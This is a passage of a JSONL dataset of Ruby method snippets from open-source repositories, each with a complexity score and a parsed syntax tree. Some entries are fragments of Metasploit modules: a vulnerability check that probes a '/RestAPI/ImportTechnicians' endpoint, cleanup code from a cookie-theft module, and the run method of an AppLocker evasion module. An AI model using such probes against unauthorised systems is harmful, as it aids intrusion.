end","complexity_score":17.53,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/RestAPI/ImportTechnicians\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target failed to respond to check.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"//form[@name=\\\"ImportTechnicians\\\"]\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"/RestAPI/ImportTechnicians is not present.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"/RestAPI/ImportTechnicians is present.\"]}]}]}]}","id":"2ad28f0f-8c7c-4a13-b5bc-31fd10521b2a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/analytics_service.rb","start_line":143,"raw_source":"def calculate_follows_stats_per_day(follow_data)\n    # AR returns a hash with date => count, we transform it using ISO dates for convenience\n    follow_data.group(\"DATE(created_at)\").count.transform_keys(&:iso8601)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_follows_stats_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follow_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow_data\"]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"count\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"iso8601\"]}]}]}]}","id":"28a475b7-9b5e-4889-8767-eb0882f04c9a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/notification_policy.rb","start_line":40,"raw_source":"def summarize!\n    @pending_requests_count = pending_notification_requests.first\n    @pending_notifications_count = pending_notification_requests.last\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"summarize!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pending_requests_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_notification_requests\"]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pending_notifications_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_notification_requests\"]},\"last\"]}]}]}]}","id":"c3405629-6ec8-489c-bd36-9f2ca74a57de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/merge_request_type.rb","start_line":370,"raw_source":"def security_auto_fix\n      object.author == ::Users::Internal.for_organization(object.project.organization).security_bot\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"security_auto_fix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"author\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"Internal\"]},\"for_organization\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project\"]},\"organization\"]}]},\"security_bot\"]}]}]}","id":"381f8597-ae4c-4ad6-9673-753dec595bb9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":333,"raw_source":"def latest_lsn_query\n          @latest_lsn_query ||= can_track_logical_lsn? ? LATEST_LSN_WITH_LOGICAL_QUERY : LATEST_LSN_WITHOUT_LOGICAL_QUERY\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_lsn_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@latest_lsn_query\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_track_logical_lsn?\"]},{\"type\":\"const\",\"children\":[null,\"LATEST_LSN_WITH_LOGICAL_QUERY\"]},{\"type\":\"const\",\"children\":[null,\"LATEST_LSN_WITHOUT_LOGICAL_QUERY\"]}]}]}]}","id":"edc04934-38fe-42e8-8a02-58357ead1f6d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/push_data_helper.rb","start_line":4,"raw_source":"def push_event_data\n    Conversations::EventDataPresenter.new(self).push_data\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"push_event_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Conversations\"]},\"EventDataPresenter\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"push_data\"]}]}","id":"7dae35f6-fa3c-4f40-8a1c-41f9ff1a862d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/smb.rb","start_line":102,"raw_source":"def test_files\n    modifiable_share = 'modifiable'\n\n    it 'should output files in the current directory' do\n      stdout = with_mocked_console(session) do |console|\n        console.run_single(\"shares -i #{modifiable_share}\")\n        console.run_single('ls')\n      end\n\n      ret = true\n      ret &&= stdout.buf.include?('recursive')\n      ret &&= stdout.buf.include?('text_files')\n      ret\n    end\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modifiable_share\",{\"type\":\"str\",\"children\":[\"modifiable\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should output files in the current directory\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stdout\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_mocked_console\",{\"type\":\"send\",\"children\":[null,\"session\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"console\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"run_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"shares -i \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modifiable_share\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"run_single\",{\"type\":\"str\",\"children\":[\"ls\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout\"]},\"buf\"]},\"include?\",{\"type\":\"str\",\"children\":[\"recursive\"]}]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout\"]},\"buf\"]},\"include?\",{\"type\":\"str\",\"children\":[\"text_files\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}]}","id":"3ec1f3ce-b2e8-45b2-ad8e-636b13f4b79d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/metadata/entry.rb","start_line":101,"raw_source":"def total_size\n              descendant_pattern = /^#{Regexp.escape(@path.to_s)}/\n              entries.sum do |path, entry|\n                (entry[:size] if descendant_pattern.match?(path)).to_i\n              end\n            end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"total_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"descendant_pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"to_s\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendant_pattern\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"size\"]}]},null]}]},\"to_i\"]}]}]}]}","id":"aef89fef-14a2-492a-8cf7-91fc39a5cc0a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/log_subscriber_test.rb","start_line":222,"raw_source":"def test_verbose_query_logs_disabled_by_default\n    logger = TestDebugLogSubscriber.new\n    logger.sql({ payload: { sql: \"hi mom!\", duration_ms: 0 } })\n    assert_no_match(/↳/, @logger.logged(:debug).last)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_verbose_query_logs_disabled_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestDebugLogSubscriber\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"sql\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"hi mom!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_ms\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"↳\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},\"last\"]}]}]}]}","id":"970c7e69-cfdf-4f42-8dfb-04188cefa027"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/agent_bots_controller.rb","start_line":22,"raw_source":"def avatar\n    @agent_bot.avatar.purge if @agent_bot.avatar.attached?\n    @agent_bot\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_bot\"]},\"avatar\"]},\"attached?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_bot\"]},\"avatar\"]},\"purge\"]},null]},{\"type\":\"ivar\",\"children\":[\"@agent_bot\"]}]}]}","id":"8923c0bf-d656-4e48-a42d-f51f4784314e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb","start_line":156,"raw_source":"def cleanup\n    super\n\n    # clear my resource, deregister ref, stop/close the HTTP socket\n    begin\n      @http_service.remove_resource(@uri_path)\n      @http_service.deref\n      @http_service.stop\n      @http_service.close\n      @http_service = nil\n    rescue\n    end\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@http_service\"]},\"remove_resource\",{\"type\":\"ivar\",\"children\":[\"@uri_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@http_service\"]},\"deref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@http_service\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@http_service\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@http_service\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}]}]}","id":"e0a631b1-d317-4cdf-9910-9a75ac77346b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":226,"raw_source":"def from_cloud_manager?\n    ext_management_system&.kind_of?(ManageIQ::Providers::CloudManager)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"from_cloud_manager?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Providers\"]},\"CloudManager\"]}]}]}","id":"748b7ec1-013e-4c37-9c9b-f3a29a45058a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule_worker/runner.rb","start_line":15,"raw_source":"def initialize_rufus\n    require 'rufus/scheduler'\n    @system_scheduler = Rufus::Scheduler.new\n    @user_scheduler   = Rufus::Scheduler.new\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_rufus\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"rufus/scheduler\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@system_scheduler\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rufus\"]},\"Scheduler\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_scheduler\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rufus\"]},\"Scheduler\"]},\"new\"]}]}]}]}","id":"112a612d-8a99-4270-9778-acc439bdcd8e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/stack.rb","start_line":131,"raw_source":"def delete(target)\n      middlewares.reject! { |m| m.name == target.name }\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"name\"]}]}]}]}","id":"ddf487ad-ca7a-4a53-b72c-62cde9f1481a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/provider_tag_mapping/mapper.rb","start_line":141,"raw_source":"def emit_specific_reference(tag_id)\n      inv_object = specific_tags_collection.find_or_build_by(:id => tag_id)\n      inv_object.id = tag_id\n      inv_object\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"emit_specific_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inv_object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"specific_tags_collection\"]},\"find_or_build_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"tag_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inv_object\"]},\"id=\",{\"type\":\"lvar\",\"children\":[\"tag_id\"]}]},{\"type\":\"lvar\",\"children\":[\"inv_object\"]}]}]}","id":"ace866b2-f802-4fc0-b007-e2d6e2c6c508"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/move_deploy_keys_projects_service.rb","start_line":39,"raw_source":"def remove_remaining_deploy_keys_projects\n      source_project.deploy_keys_projects.destroy_all # rubocop: disable Cop/DestroyAll\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_remaining_deploy_keys_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},\"deploy_keys_projects\"]},\"destroy_all\"]}]}","id":"eb87b9ef-8de2-4492-9841-c72a146b5e1b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/attribute_methods_test.rb","start_line":28,"raw_source":"def serialize(time)\n      time.to_i if time\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},null]}]}","id":"8e1b52e6-b790-494a-baee-3b0de5ab906e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails32.rb","start_line":30,"raw_source":"def test_rc_version_number\n    assert_equal \"3.2.9.rc2\", report[:config].rails_version\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rc_version_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"3.2.9.rc2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]},\"rails_version\"]}]}]}","id":"cb07d16c-44e0-4a0c-8e25-b8c9b359f6ae"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailboxes/support_mailbox.rb","start_line":60,"raw_source":"def original_sender_email\n    @processed_mail.original_sender&.downcase\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"original_sender_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_mail\"]},\"original_sender\"]},\"downcase\"]}]}","id":"cb3fb5b5-47f0-4794-bcbf-a0530569080b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb","start_line":148,"raw_source":"def run\n    create_files\n    instructions\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_files\"]},{\"type\":\"send\",\"children\":[null,\"instructions\"]}]}]}","id":"f69557a6-2e23-4750-9aea-cfe14f0fa6bb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman.rb","start_line":251,"raw_source":"def self.get_formats_from_output_format output_format\n    case output_format\n    when :html, :to_html\n      [:to_html]\n    when :csv, :to_csv\n      [:to_csv]\n    when :pdf, :to_pdf\n      [:to_pdf]\n    when :tabs, :to_tabs\n      [:to_tabs]\n    when :json, :to_json\n      [:to_json]\n    when :markdown, :to_markdown\n      [:to_markdown]\n    when :cc, :to_cc, :codeclimate, :to_codeclimate\n      [:to_codeclimate]\n    when :plain ,:to_plain, :text, :to_text, :to_s\n      [:to_text]\n    when :table, :to_table\n      [:to_table]\n    when :junit, :to_junit\n      [:to_junit]\n    when :sarif, :to_sarif\n      [:to_sarif]\n    when :sonar, :to_sonar\n      [:to_sonar]\n    when :github, :to_github\n      [:to_github]\n    else\n      [:to_text]\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_formats_from_output_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output_format\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"sym\",\"children\":[\"to_html\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_html\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"csv\"]},{\"type\":\"sym\",\"children\":[\"to_csv\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_csv\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"pdf\"]},{\"type\":\"sym\",\"children\":[\"to_pdf\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_pdf\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"tabs\"]},{\"type\":\"sym\",\"children\":[\"to_tabs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_tabs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"sym\",\"children\":[\"to_json\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_json\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"markdown\"]},{\"type\":\"sym\",\"children\":[\"to_markdown\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_markdown\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"cc\"]},{\"type\":\"sym\",\"children\":[\"to_cc\"]},{\"type\":\"sym\",\"children\":[\"codeclimate\"]},{\"type\":\"sym\",\"children\":[\"to_codeclimate\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_codeclimate\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"sym\",\"children\":[\"to_plain\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"sym\",\"children\":[\"to_text\"]},{\"type\":\"sym\",\"children\":[\"to_s\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"junit\"]},{\"type\":\"sym\",\"children\":[\"to_junit\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_junit\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sarif\"]},{\"type\":\"sym\",\"children\":[\"to_sarif\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sarif\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sonar\"]},{\"type\":\"sym\",\"children\":[\"to_sonar\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sonar\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"github\"]},{\"type\":\"sym\",\"children\":[\"to_github\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_github\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_text\"]}]}]}]}","id":"f681ae5b-0faf-4c9b-9be4-c8681f94645d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/shared_resource_deletion.rb","start_line":122,"raw_source":"def log_failure(resource, response)\n        path = resource_path(resource)\n        logger.error(\"\\e[31mFAILED\\e[0m to delete #{resource[:type]} #{path} with #{response.code}.\\n\")\n        [\"failed_deletions\", { path: path, response: response }]\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"resource_path\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[31mFAILED\\u001b[0m to delete \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"failed_deletions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"5d8b9855-6571-4e0e-9062-695f3a2ee7b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage/redis.rb","start_line":31,"raw_source":"def delete(key)\n        rkey = \"#{@key_prefix}:pages:#{key.to_s}\"\n        page = self[key]\n        @redis.del(rkey)\n        page\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rkey\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_prefix\"]}]},{\"type\":\"str\",\"children\":[\":pages:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redis\"]},\"del\",{\"type\":\"lvar\",\"children\":[\"rkey\"]}]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}","id":"91702cf6-2342-4d02-b1b4-21bf94fc071b"}
